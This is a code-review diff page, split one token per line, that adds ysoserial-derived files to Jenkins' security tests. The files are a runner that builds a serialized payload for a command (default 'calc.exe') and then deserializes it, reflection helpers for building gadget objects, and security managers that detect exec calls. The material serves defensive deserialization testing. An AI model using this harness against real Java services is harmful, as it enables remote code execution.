String
[]
args
)
throws
Exception
{
// ensure payload generation doesn't throw an exception
byte
[]
serialized
=
new
ExecCheckingSecurityManager
().
wrap
(
new
Callable
<
byte
[]>(){
public
byte
[]
call
()
throws
Exception
{
final
String
command
=
args
.
length
>
0
&&
args
[
0
]
!=
null
?
args
[
0
]
:
"calc.exe"
;
System
.
out
.
println
(
"generating payload object(s) for command: '"
+
command
+
"'"
);
ObjectPayload
<?>
payload
=
clazz
.
newInstance
();
final
Object
objBefore
=
payload
.
getObject
(
command
);
System
.
out
.
println
(
"serializing payload"
);
byte
[]
ser
=
Serializer
.
serialize
(
objBefore
);
Utils
.
releasePayload
(
payload
,
objBefore
);
return
ser
;
}});
try
{
System
.
out
.
println
(
"deserializing payload"
);
final
Object
objAfter
=
Deserializer
.
deserialize
(
serialized
);
}
catch
(
Exception
e
)
{
e
.
printStackTrace
();
}
}
}
test/src/test/java/jenkins/security/security218/ysoserial/payloads/util/Reflections.java
0 → 100644
浏览文件 @
8395b78c
package
jenkins.security.security218.ysoserial.payloads.util
;
import
java.lang.reflect.Constructor
;
import
java.lang.reflect.Field
;
import
java.lang.reflect.InvocationTargetException
;
import
sun.reflect.ReflectionFactory
;
@SuppressWarnings
(
"restriction"
)
public
class
Reflections
{
public
static
Field
getField
(
final
Class
<?>
clazz
,
final
String
fieldName
)
throws
Exception
{
Field
field
=
clazz
.
getDeclaredField
(
fieldName
);
if
(
field
!=
null
)
field
.
setAccessible
(
true
);
else
if
(
clazz
.
getSuperclass
()
!=
null
)
field
=
getField
(
clazz
.
getSuperclass
(),
fieldName
);
return
field
;
}
public
static
void
setFieldValue
(
final
Object
obj
,
final
String
fieldName
,
final
Object
value
)
throws
Exception
{
final
Field
field
=
getField
(
obj
.
getClass
(),
fieldName
);
field
.
set
(
obj
,
value
);
}
public
static
Object
getFieldValue
(
final
Object
obj
,
final
String
fieldName
)
throws
Exception
{
final
Field
field
=
getField
(
obj
.
getClass
(),
fieldName
);
return
field
.
get
(
obj
);
}
public
static
Constructor
<?>
getFirstCtor
(
final
String
name
)
throws
Exception
{
final
Constructor
<?>
ctor
=
Class
.
forName
(
name
).
getDeclaredConstructors
()[
0
];
ctor
.
setAccessible
(
true
);
return
ctor
;
}
public
static
<
T
>
T
createWithoutConstructor
(
Class
<
T
>
classToInstantiate
)
throws
NoSuchMethodException
,
InstantiationException
,
IllegalAccessException
,
InvocationTargetException
{
return
createWithConstructor
(
classToInstantiate
,
Object
.
class
,
new
Class
[
0
],
new
Object
[
0
]);
}
@SuppressWarnings
(
{
"unchecked"
}
)
public
static
<
T
>
T
createWithConstructor
(
Class
<
T
>
classToInstantiate
,
Class
<?
super
T
>
constructorClass
,
Class
<?>[]
consArgTypes
,
Object
[]
consArgs
)
throws
NoSuchMethodException
,
InstantiationException
,
IllegalAccessException
,
InvocationTargetException
{
Constructor
<?
super
T
>
objCons
=
constructorClass
.
getDeclaredConstructor
(
consArgTypes
);
objCons
.
setAccessible
(
true
);
Constructor
<?>
sc
=
ReflectionFactory
.
getReflectionFactory
().
newConstructorForSerialization
(
classToInstantiate
,
objCons
);
sc
.
setAccessible
(
true
);
return
(
T
)
sc
.
newInstance
(
consArgs
);
}
}
test/src/test/java/jenkins/security/security218/ysoserial/secmgr/DelegateSecurityManager.java
0 → 100755
浏览文件 @
8395b78c
package
jenkins.security.security218.ysoserial.secmgr
;
import
java.io.FileDescriptor
;
import
java.net.InetAddress
;
import
java.security.Permission
;
public
class
DelegateSecurityManager
extends
SecurityManager
{
private
SecurityManager
securityManager
;
public
SecurityManager
getSecurityManager
()
{
return
securityManager
;
}
public
void
setSecurityManager
(
SecurityManager
securityManager
)
{
this
.
securityManager
=
securityManager
;
}
@Override
public
boolean
getInCheck
()
{
return
getSecurityManager
().
getInCheck
();
}
@Override
public
Object
getSecurityContext
()
{
return
getSecurityManager
().
getSecurityContext
();
}
@Override
public
void
checkPermission
(
Permission
perm
)
{
getSecurityManager
().
checkPermission
(
perm
);
}
@Override
public
void
checkPermission
(
Permission
perm
,
Object
context
)
{
getSecurityManager
().
checkPermission
(
perm
,
context
);
}
@Override
public
void
checkCreateClassLoader
()
{
getSecurityManager
().
checkCreateClassLoader
();
}
@Override
public
void
checkAccess
(
Thread
t
)
{
getSecurityManager
().
checkAccess
(
t
);
}
@Override
public
void
checkAccess
(
ThreadGroup
g
)
{
getSecurityManager
().
checkAccess
(
g
);
}
@Override
public
void
checkExit
(
int
status
)
{
getSecurityManager
().
checkExit
(
status
);
}
@Override
public
void
checkExec
(
String
cmd
)
{
getSecurityManager
().
checkExec
(
cmd
);
}
@Override
public
void
checkLink
(
String
lib
)
{
getSecurityManager
().
checkLink
(
lib
);
}
@Override
public
void
checkRead
(
FileDescriptor
fd
)
{
getSecurityManager
().
checkRead
(
fd
);
}
@Override
public
void
checkRead
(
String
file
)
{
getSecurityManager
().
checkRead
(
file
);
}
@Override
public
void
checkRead
(
String
file
,
Object
context
)
{
getSecurityManager
().
checkRead
(
file
,
context
);
}
@Override
public
void
checkWrite
(
FileDescriptor
fd
)
{
getSecurityManager
().
checkWrite
(
fd
);
}
@Override
public
void
checkWrite
(
String
file
)
{
getSecurityManager
().
checkWrite
(
file
);
}
@Override
public
void
checkDelete
(
String
file
)
{
getSecurityManager
().
checkDelete
(
file
);
}
@Override
public
void
checkConnect
(
String
host
,
int
port
)
{
getSecurityManager
().
checkConnect
(
host
,
port
);
}
@Override
public
void
checkConnect
(
String
host
,
int
port
,
Object
context
)
{
getSecurityManager
().
checkConnect
(
host
,
port
,
context
);
}
@Override
public
void
checkListen
(
int
port
)
{
getSecurityManager
().
checkListen
(
port
);
}
@Override
public
void
checkAccept
(
String
host
,
int
port
)
{
getSecurityManager
().
checkAccept
(
host
,
port
);
}
@Override
public
void
checkMulticast
(
InetAddress
maddr
)
{
getSecurityManager
().
checkMulticast
(
maddr
);
}
@Override
public
void
checkMulticast
(
InetAddress
maddr
,
byte
ttl
)
{
getSecurityManager
().
checkMulticast
(
maddr
,
ttl
);
}
@Override
public
void
checkPropertiesAccess
()
{
getSecurityManager
().
checkPropertiesAccess
();
}
@Override
public
void
checkPropertyAccess
(
String
key
)
{
getSecurityManager
().
checkPropertyAccess
(
key
);
}
@Override
public
boolean
checkTopLevelWindow
(
Object
window
)
{
return
getSecurityManager
().
checkTopLevelWindow
(
window
);
}
@Override
public
void
checkPrintJobAccess
()
{
getSecurityManager
().
checkPrintJobAccess
();
}
@Override
public
void
checkSystemClipboardAccess
()
{
getSecurityManager
().
checkSystemClipboardAccess
();
}
@Override
public
void
checkAwtEventQueueAccess
()
{
getSecurityManager
().
checkAwtEventQueueAccess
();
}
@Override
public
void
checkPackageAccess
(
String
pkg
)
{
getSecurityManager
().
checkPackageAccess
(
pkg
);
}
@Override
public
void
checkPackageDefinition
(
String
pkg
)
{
getSecurityManager
().
checkPackageDefinition
(
pkg
);
}
@Override
public
void
checkSetFactory
()
{
getSecurityManager
().
checkSetFactory
();
}
@Override
public
void
checkMemberAccess
(
Class
<?>
clazz
,
int
which
)
{
getSecurityManager
().
checkMemberAccess
(
clazz
,
which
);
}
@Override
public
void
checkSecurityAccess
(
String
target
)
{
getSecurityManager
().
checkSecurityAccess
(
target
);
}
@Override
public
ThreadGroup
getThreadGroup
()
{
return
getSecurityManager
().
getThreadGroup
();
}
}
\ No newline at end of file
test/src/test/java/jenkins/security/security218/ysoserial/secmgr/ExecCheckingSecurityManager.java
0 → 100644
浏览文件 @
8395b78c
package
jenkins.security.security218.ysoserial.secmgr
;
import
java.security.Permission
;
import
java.util.Collections
;
import
java.util.LinkedList
;
import
java.util.List
;
import
java.util.concurrent.Callable
;
public
class
ExecCheckingSecurityManager
extends
SecurityManager
{
public
ExecCheckingSecurityManager
()
{
this
(
true
);
}
public
ExecCheckingSecurityManager
(
boolean
throwException
)
{
this
.
throwException
=
throwException
;
}
private
final
boolean
throwException
;
private
final
List
<
String
>
cmds
=
new
LinkedList
<
String
>();
public
List
<
String
>
getCmds
()
{
return
Collections
.
unmodifiableList
(
cmds
);
}
@Override
public
void
checkPermission
(
final
Permission
perm
)
{
}
@Override
public
void
checkPermission
(
final
Permission
perm
,
final
Object
context
)
{
}
@Override
public
void
checkExec
(
final
String
cmd
)
{
super
.
checkExec
(
cmd
);
cmds
.
add
(
cmd
);
if
(
throwException
)
{
// throw a special exception to ensure we can detect exec() in the test
throw
new
ExecException
(
cmd
);
}
};
@SuppressWarnings
(
"serial"
)
public
static
class
ExecException
extends
RuntimeException
{
private
final
String
threadName
=
Thread
.
currentThread
().
getName
();
private
final
String
cmd
;
public
ExecException
(
String
cmd
)
{
this
.
cmd
=
cmd
;
}
public
String
getCmd
()
{
return
cmd
;
}
public
String
getThreadName
()
{
return
threadName
;
}
@
Override
public
String
getMessage
()
{
return
"executed `"
+
getCmd
()
+
"` in ["
+
getThreadName
()
+
"]"
;
}
}
public
void
wrap
(
final
Runnable
runnable
)
throws
Exception
{
wrap
(
new
Callable
<
Void
>(){
public
Void
call
()
throws
Exception
{
runnable
.
run
();
return
null
;
}
});
}
public
<
T
>
T
wrap
(
final
Callable
<
T
>
callable
)
throws
Exception
{
SecurityManager
sm
=
System
.
getSecurityManager
();
// save sm
System
.
setSecurityManager
(
this
);
try
{
T
result
=
callable
.
call
();
if
(
throwException
&&
!
getCmds
().
isEmpty
())
{
throw
new
ExecException
(
getCmds
().
get
(
0
));
}
return
result
;
}
catch
(
Exception
e
)
{
if
(!
(
e
instanceof
ExecException
)
&&
throwException
&&
!
getCmds
().
isEmpty
())
{
throw
new
ExecException
(
getCmds
().
get
(
0
));
}
else
{
throw
e
;
}
}
finally
{
System
.
setSecurityManager
(
sm
);
// restore sm
}
}
}
\ No newline at end of file
test/src/test/java/jenkins/security/security218/ysoserial/secmgr/ThreadLocalSecurityManager.java
0 → 100755
浏览文件 @
8395b78c
package
jenkins.security.security218.ysoserial.secmgr
;
import
java.util.concurrent.Callable
;
public
class
ThreadLocalSecurityManager
extends
DelegateSecurityManager
{
private
final
ThreadLocal
<
SecurityManager
>
threadDelegates
=
new
ThreadLocal
<
SecurityManager
>();
public
void
install
()
{
System
.
setSecurityManager
(
this
);
}
@Override
public
void
setSecurityManager
(
SecurityManager
threadManager
)
{
threadDelegates
.
set
(
threadManager
);
}
@Override
public
SecurityManager
getSecurityManager
()
{
return
threadDelegates
.
get
();
}
public
<
V
>
V
wrap
(
SecurityManager
sm
,
Callable
<
V
>
callable
)
throws
Exception
{
SecurityManager
old
=
getSecurityManager
();
setSecurityManager
(
sm
);
try
{
return
callable
.
call
();
}
finally
{
setSecurityManager
(
old
);
}
}
}
编辑
预览
Markdown
is supported
0%
请重试
或
添加新附件
.
添加附件
取消
You are about to add
0
people
to the discussion. Proceed with caution.
先完成此消息的编辑!
取消
想要评论请
注册
或
登录